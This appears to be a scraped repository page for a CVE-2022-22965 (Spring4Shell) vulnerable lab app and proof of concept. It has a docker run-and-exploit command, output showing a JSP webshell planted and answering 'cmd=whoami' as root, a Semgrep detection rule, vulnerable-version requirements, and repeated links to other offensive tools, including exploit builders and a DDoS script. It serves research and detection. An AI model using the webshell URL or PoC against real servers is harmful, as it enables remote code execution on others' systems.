CVE-2022-22965 - CVE-2010-1622 redux

Last update: Aug 25, 2022

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

$ docker rm -f rce; docker build -t rce:latest . && docker run -d -p 8080:8080 --name rce rce:latest && sleep 5 && python poc.py

Output example

rce
sha256:f626a2190dc0790c610afd4f12a4b2482b6a726d671fdac1432275de89c07cd6
1a048e5725f754d331de9491d0750c4c7a163472dea1fd1554edccfd00d7f6e5
deploy <Response [200]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [404]>
webshell <Response [500]>
webshell http://localhost:8080/tomcatwar.jsp?cmd=whoami
root

Identification with Semgrep

$ semgrep --config=semgrep-rule.yml .

Semgrep rule and test cases

Output example

Findings:

  src/main/java/com/example/demo/controller/IndexController.java
     cve-2022-22965
        Semgrep found a match


         14┆ @RequestMapping("/index")
         15┆ public void index(EvalBean evalBean) {
         16┆
         17┆ }

Ran 1 rule on 3 files: 1 finding.

Vulnerable app requirements¹

JDK 9 or above
Standalone Tomcat (no Embedded Tomcat) with WAR deployment
Any Spring version before 5.3.18 / 5.2.20 (Spring Boot before 2.5.12 / 2.6.6)
No blocklist on WebDataBinder / InitBinder
Parameter bind with POJOs directly (no @RequestBody, @RequestQuery, etc.)
Writeable file system (e.g webapps/ROOT)

Sources

Assuming exploits similar to the known PoCs. There might be other gadgets... ↩

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements¹

Sources

Owner

Duarte Duarte

A forensic collection tool written in Python.

TLaunch: Launch Programs on Multiple Hosts

A fast sub domain brute tool for pentesters

Ingest GreyNoise.io malicious feed for CVE-2021-44228 and apply null routes

A hashtag check python module

This is python script that will extract the functions call in all used DLL in an executable and then provide a mapping of those functions to the attack classes defined and curated malapi.io.

A Burp Suite extension made to automate the process of finding reverse proxy path based SSRF.

This is a simple tool to create ZIP payloads using a provided wordlist for the symlink attack (present in some file upload vulnerabilities)

This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit

CVE-2021-22205& GitLab CE/EE RCE

Hack computer in the form of RAR files from all types of clients, even Linux

ProxyLogon Pre-Auth SSRF To Arbitrary File Write

Web3 Pancakeswap Sniper & honeypot detector Take Profit/StopLose bot written in python3, For ANDROID WIN MAC & LINUX

ADExplorerSnapshot.py is an AD Explorer snapshot ingestor for BloodHound.

Utility for Extracting all passwords from ConnectWise Automate

Scan all java processes on your host to check weather it's affected by log4j2 remote code execution

EyeJo是一款自动化资产风险评估平台，可以协助甲方安全人员或乙方安全人员对授权的资产中进行排查，快速发现存在的薄弱点和攻击面。

The Decompressoin tool for Vxworks MINIFS

Hammer-DDos - Hammer DDos With Python

CVE-2022-22965 - CVE-2010-1622 redux

Related tags

Overview

CVE-2022-22965 - vulnerable app and PoC

Trial & error

Output example

Identification with Semgrep

Output example

Vulnerable app requirements1

Sources

Footnotes

Owner

Duarte Duarte

A forensic collection tool written in Python.

TLaunch: Launch Programs on Multiple Hosts

A fast sub domain brute tool for pentesters

Ingest GreyNoise.io malicious feed for CVE-2021-44228 and apply null routes

A hashtag check python module

This is python script that will extract the functions call in all used DLL in an executable and then provide a mapping of those functions to the attack classes defined and curated malapi.io.

A Burp Suite extension made to automate the process of finding reverse proxy path based SSRF.

This is a simple tool to create ZIP payloads using a provided wordlist for the symlink attack (present in some file upload vulnerabilities)

This repo contain builders of cab file, html file, and docx file for CVE-2021-40444 exploit

CVE-2021-22205& GitLab CE/EE RCE

Hack computer in the form of RAR files from all types of clients, even Linux

ProxyLogon Pre-Auth SSRF To Arbitrary File Write

Web3 Pancakeswap Sniper & honeypot detector Take Profit/StopLose bot written in python3, For ANDROID WIN MAC & LINUX

ADExplorerSnapshot.py is an AD Explorer snapshot ingestor for BloodHound.

Utility for Extracting all passwords from ConnectWise Automate

Scan all java processes on your host to check weather it's affected by log4j2 remote code execution

EyeJo是一款自动化资产风险评估平台，可以协助甲方安全人员或乙方安全人员对授权的资产中进行排查，快速发现存在的薄弱点和攻击面。

The Decompressoin tool for Vxworks MINIFS

Hammer-DDos - Hammer DDos With Python

Vulnerable app requirements¹